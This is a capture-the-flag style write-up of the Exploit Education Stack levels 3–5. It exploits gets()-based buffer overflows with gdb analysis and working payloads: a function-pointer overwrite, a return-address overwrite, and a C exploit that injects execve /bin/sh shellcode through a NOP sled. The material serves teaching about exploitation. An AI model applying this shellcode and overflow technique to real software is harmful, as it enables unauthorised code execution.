Date: 27 October 2022
This is part 2 of my writeup for the Exploit Education Stack challenges. In this part I will go over the Stack 3, 4 and 5 problems.
You can view part 1 of my writeup here
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished :-) Well done!\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
locals.fp = NULL;
gets(locals.buffer);
if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}
exit(0);
}
In this challenge, we have to write to the function pointer fp
to point to the function complete_level()
.
The first thing we will do is analyse the code. Straight away, we can see gets()
is called on the member buffer
inside the struct locals
. gets()
is a dangerous function in C since it does no bounds checking and can lead to serious problems such as buffer overflows.
Due to the way the struct locals
is declared, we may be able to assume we could overflow buffer
and write to the function pointer fp
. We could do this and see if the printf()
inside the if
statement gives us a value we wrote to the pointer. Let's test this out:
First, I will set my assembly syntax to Intel in gdb
:
(gdb) set disassembly-flavor intel
After disassembling main()
, we need to find a suitable line to set a breakpoint at. Let's set a breakpoint at 0x000000000040120d
, which is the line after the call to gets()
. This will allow us to inspect the stack straight after we have given input via gets()
.
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004011d7 <+0>: endbr64
0x00000000004011db <+4>: push rbp
0x00000000004011dc <+5>: mov rbp,rsp
0x00000000004011df <+8>: sub rsp,0x60
0x00000000004011e3 <+12>: mov DWORD PTR [rbp-0x54],edi
0x00000000004011e6 <+15>: mov QWORD PTR [rbp-0x60],rsi
0x00000000004011ea <+19>: mov rax,QWORD PTR fs:0x28
0x00000000004011f3 <+28>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011f7 <+32>: xor eax,eax
0x00000000004011f9 <+34>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000401201 <+42>: lea rax,[rbp-0x50]
0x0000000000401205 <+46>: mov rdi,rax
0x0000000000401208 <+49>: call 0x4010a0 <gets@plt>
0x000000000040120d <+54>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401211 <+58>: test rax,rax
0x0000000000401214 <+61>: je 0x40124d <main+118>
0x0000000000401216 <+63>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040121a <+67>: mov rsi,rax
0x000000000040121d <+70>: lea rax,[rip+0xe14] # 0x402038
0x0000000000401224 <+77>: mov rdi,rax
0x0000000000401227 <+80>: mov eax,0x0
0x000000000040122c <+85>: call 0x401090 <printf@plt>
0x0000000000401231 <+90>: mov rax,QWORD PTR [rip+0x2e18] # 0x404050 <stdout@GLIBC_2.2.5>
0x0000000000401238 <+97>: mov rdi,rax
0x000000000040123b <+100>: call 0x4010b0 <fflush@plt>
0x0000000000401240 <+105>: mov rdx,QWORD PTR [rbp-0x10]
End of assembler dump.
(gdb) b *0x000000000040120d
Breakpoint 1 at 0x40120d
Now, we should run the program and give the program suitable and recognizable input. Let's give the program 64 'A's to fill the buffer and an additional 4 'A's to see if we can write something to the function pointer.
Nice! It looks like we have written something to the function pointer fp
. However, we have got a segmentation fault since we set the value of fp
to be a string of 'A's.
We can see from calling function pointer @ 0x41414141
that the value of fp
is a bunch of 'A's.
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x000000000040120d in main ()
(gdb) c
Continuing.
calling function pointer @ 0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()
Now, we need to write a valid address at the function pointer fp
. For this, we can use the complete_level
function, which has the address 0x00000000004011b6
in my case. We can give the program 64 'A's and the address of the function in little endian byte order. Let's try this out and see what happens:
Program to print our input:
#include <stdio.h>
int main() {
printf("%s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40");
return 0;
}
Running it:
user@user:~$ ./m | ./x
calling function pointer @ 0x4011b6
Congratulations, you've finished :-) Well done!
Nice! It worked. We have successfully called complete_level()
by overflowing buffer
and changing the value of fp
.
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished :-) Well done!\n");
exit(0);
}
void start_level() {
char buffer[64];
void *ret;
gets(buffer);
ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}
int main(int argc, char **argv) {
start_level();
}
In this challenge we will attempt to overwrite a function's return address. A return address is an address that is saved onto the stack when a function is called. When a function is called inside a program, the address of the instruction after the function call is pushed onto the stack. This is because once the function has finished, execution needs to resume in the program and the return address is where this will happen.
The first thing we will do is examine the code. In the code we can see a call to gets()
to fill a buffer, this could
lead to a buffer overflow and be an ideal way to overwrite the return address. Let's first see the return address in action:
(gdb) set disassembly-flavor intel
Next we will disassemble main()
and start_level()
so we can find good points to set breakpoints in order
to view the return address in action.
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004011f5 <+0>: endbr64
0x00000000004011f9 <+4>: push rbp
0x00000000004011fa <+5>: mov rbp,rsp
0x00000000004011fd <+8>: sub rsp,0x10
0x0000000000401201 <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401204 <+15>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401208 <+19>: mov eax,0x0
0x000000000040120d <+24>: call 0x4011b7
0x0000000000401212 <+29>: mov eax,0x0
0x0000000000401217 <+34>: leave
0x0000000000401218 <+35>: ret
End of assembler dump.
(gdb) disassemble start_level
Dump of assembler code for function start_level:
0x00000000004011b7 <+0>: endbr64
0x00000000004011bb <+4>: push rbp
0x00000000004011bc <+5>: mov rbp,rsp
0x00000000004011bf <+8>: sub rsp,0x50
0x00000000004011c3 <+12>: lea rax,[rbp-0x50]
0x00000000004011c7 <+16>: mov rdi,rax
0x00000000004011ca <+19>: call 0x401090
0x00000000004011cf <+24>: mov rax,QWORD PTR [rbp+0x8]
0x00000000004011d3 <+28>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011d7 <+32>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011db <+36>: mov rsi,rax
0x00000000004011de <+39>: lea rax,[rip+0xe53] # 0x402038
0x00000000004011e5 <+46>: mov rdi,rax
0x00000000004011e8 <+49>: mov eax,0x0
0x00000000004011ed <+54>: call 0x401080
0x00000000004011f2 <+59>: nop
0x00000000004011f3 <+60>: leave
0x00000000004011f4 <+61>: ret
End of assembler dump.
The call
instruction in main()
at 0x000000000040120d
calls the start_level()
function.
The call
instruction also does some other things (normally) such as pushing the return address onto the stack and
setting EIP
/RIP
to the called function's instructions so it can begin executing.
Let's set a breakpoint at the first line of start_level()
so we can view the stack right after call
calls the function.
We should expect to see the return address 0x0000000000401212
on the stack.
(gdb) b *0x00000000004011b7
Breakpoint 1 at 0x4011b7
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00000000004011b7 in start_level ()
(gdb) x/100x $sp
0x7fffffffde38: 0x00401212 0x00000000 0xffffdf68 0x00007fff
0x7fffffffde48: 0x004010b0 0x00000001 0x00000001 0x00000000
0x7fffffffde58: 0xf7da9d90 0x00007fff 0x00000000 0x00000000
0x7fffffffde68: 0x004011f5 0x00000000 0xffffdf50 0x00000001
0x7fffffffde78: 0xffffdf68 0x00007fff 0x00000000 0x00000000
0x7fffffffde88: 0x186e83b2 0x9ab9da71 0xffffdf68 0x00007fff
0x7fffffffde98: 0x004011f5 0x00000000 0x00403e18 0x00000000
0x7fffffffdea8: 0xf7ffd040 0x00007fff 0xa4ac83b2 0x6546258e
We can see the return address 0x00401212
on the first line. Now that we have seen the return address in action
we can begin trying to overwrite it. To do this we could overflow the buffer, but first we should see how far the return address
is from our buffer. Let's fill the buffer, set a breakpoint after gets()
and view the stack.
(gdb) b *0x00000000004011cf
Breakpoint 1 at 0x4011cf
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00000000004011cf in start_level ()
(gdb) x/100x $sp
0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde20: 0x00000000 0x00000000 0x178bfbff 0x00000000
0x7fffffffde30: 0xffffde50 0x00007fff 0x00401212 0x00000000
0x7fffffffde40: 0xffffdf68 0x00007fff 0x004010b0 0x00000001
0x7fffffffde50: 0x00000001 0x00000000 0xf7da9d90 0x00007fff
From the output above we can see that the buffer is 24 bytes away from the return address. Using this information we can
craft an exploit. Our intention here is to change the return address so another function is executed, in this case let's use
the complete_level()
function. We will craft an input string consisting of:
complete_level()
in little endian byte order.Another way to figure out the size could be to look at this code:
Dump of assembler code for function start_level:
0x00000000004011b7 <+0>: endbr64
0x00000000004011bb <+4>: push rbp
0x00000000004011bc <+5>: mov rbp,rsp
0x00000000004011bf <+8>: sub rsp,0x50
This code tells us that 3 things happen:
RBP
(base pointer) is pushed onto the stack. This is so RBP
can be restored when the function ends.RBP
is set to point to the stack pointer RSP
, this is the base address of the stack frame RBP
will now point to.RSP
is decremented to create room for local variables that will be pushed onto the stack.In our case the size of RBP
is 8 bytes. So we need to fill 8 + 0x50 (80) bytes to get to the return address.
Let's craft the input and see what happens:
Our exploit:
var = ""
var += 'A'*80
var += 'AAAAAAAA'
var += '\x96\x11\x40'
print(var)
Running it:
user@user:~$ python2 exploit.py | ./x
and will be returning to 0x401196
Congratulations, you've finished :-) Well done!
Nice! We have successfully overwritten the return address.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
void start_level() {
char buffer[128];
gets(buffer);
}
int main(int argc, char **argv) {
start_level();
}
This challenge introduces the concept of shellcode and using NOP sleds to exploit stack-based buffer overflows. For this challenge, we will use shellcode from
http://shell-storm.org/shellcode
.
The first thing we should do is analyze the program above. The program uses the vulnerable gets()
function to read input
from stdin
. gets()
is dangerous as it has no bound-checking and allows a user to write past a buffer.
Let's disassemble this program and view the stack after filling the buffer:
First, I will set my assembly syntax to Intel as I find it easier to read.
(gdb) set disassembly-flavor intel
Next, I disassembled main()
and start_level()
. I set a breakpoint at address 0x000000000040114e
, which is the instruction after the call to gets()
. This will allow me to view the stack after I provide the program with input.
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000401151 <+0>: endbr64
0x0000000000401155 <+4>: push rbp
0x0000000000401156 <+5>: mov rbp,rsp
0x0000000000401159 <+8>: sub rsp,0x10
0x000000000040115d <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401160 <+15>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401164 <+19>: mov eax,0x0
0x0000000000401169 <+24>: call 0x401136
0x000000000040116e <+29>: mov eax,0x0
0x0000000000401173 <+34>: leave
0x0000000000401174 <+35>: ret
End of assembler dump.
(gdb) disassemble start_level
Dump of assembler code for function start_level:
0x0000000000401136 <+0>: endbr64
0x000000000040113a <+4>: push rbp
0x000000000040113b <+5>: mov rbp,rsp
0x000000000040113e <+8>: add rsp,0xffffffffffffff80
0x0000000000401142 <+12>: lea rax,[rbp-0x80]
0x0000000000401146 <+16>: mov rdi,rax
0x0000000000401149 <+19>: call 0x401040
0x000000000040114e <+24>: nop
0x000000000040114f <+25>: leave
0x0000000000401150 <+26>: ret
End of assembler dump.
(gdb) b *0x000000000040114e
Breakpoint 1 at 0x40114e
Next, I ran the program and provided it with 128 'A's so I can fill the buffer. Below we can see the filled buffer as well as the return address 0x0040116e
on the
last line. Given this setup, we could exploit the buffer overflow in this program and execute our own code!
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x000000000040114e in start_level ()
(gdb) x/100x $sp
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde30: 0xffffde00 0x00007fff 0x0040116e 0x00000000
The way we can do this is using a concept known as a 'NOP sled'. A NOP sled is a technique that allows someone to exploit a buffer overflow and execute some sort of malicious code. This malicious code is normally called 'shellcode' (because it mainly spawns a shell when run).
The way NOP sleds work is by utilizing the machine language instruction 'NOP' ('\x90') which essentially does almost nothing. It is an instruction that can be executed by the CPU but also does nothing. NOP sleds work by adding a certain number of NOPs on the stack followed by some shellcode and then lastly overwriting the return address to an address somewhere in the NOPs at the start.
Using the above output, a NOP sled could look like this:
(gdb) x/100x $sp
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141 ]
0x7fffffffddc0: 0x41414141 0x41414141 0x41414141 0x41414141 ]
0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141 ] ===== These lines could be filled with NOPs (\x90)
0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141 ]
0x7fffffffddf0: 0x41414141 0x41414141 0x41414141 0x41414141 ]
0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141 )
0x7fffffffde10: 0x41414141 0x41414141 0x41414141 0x41414141 ) ===== These lines could be where our shellcode is
0x7fffffffde20: 0x41414141 0x41414141 0x41414141 0x41414141 )
0x7fffffffde30: 0xffffde00 0x00007fff 0x0040116e 0x00000000 } ===== On this line we overwrite the return address 0x0040116e
to somewhere in the NOPs above. This gives us flexibility
and allows us to specify any address within the NOP block
since if execution reaches there it will always "slide" down
to the shellcode!
Using this information, we can now craft an exploit. Below, I have written an exploit in C which utilizes a NOP sled on a file that we can specify.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int *argc, char *argv[]) {
char *exploit = malloc(sizeof(char) * 143); // Allocate memory for input string
FILE *file;
file = popen (argv[1], "w"); // Executes file specified in argv[1]
for (int i = 1; i <= 80; i++)
strcat(exploit, "\x90"); // Adds NOP (\x90) to the input string
char *shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97 \
\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54 \
\x5e\xb0\x3b\x0f\x05"; // Shellcode to execute /bin/sh
strcat(exploit, shellcode); // Add shellcode to input string
for (int i = 1; i <= 29; i++)
strcat(exploit, "\x90"); // Adds more NOPs to input string
strcat(exploit, "\xd0\xdd\xff\xff\xff\x7f"); // Address that we will overwrite the return address with
// This address can point to somewhere at the first NOP block
fwrite(exploit, 1, 143, file); // Writing the crafted input string to stdin (since we executed the file with popen())
}
Let's try and run the exploit and see if it works:
user@user:~$ ./exploit x
user@user:~$ sh: 1: x: not found
whoami; id; groups
user
uid=1002(user) gid=1002(user) groups=1002(user), 64(cdrom) 13(dip), 64(plugdev)
user cdrom plugdev
Nice, it works! We were able to execute /bin/sh
and run some commands.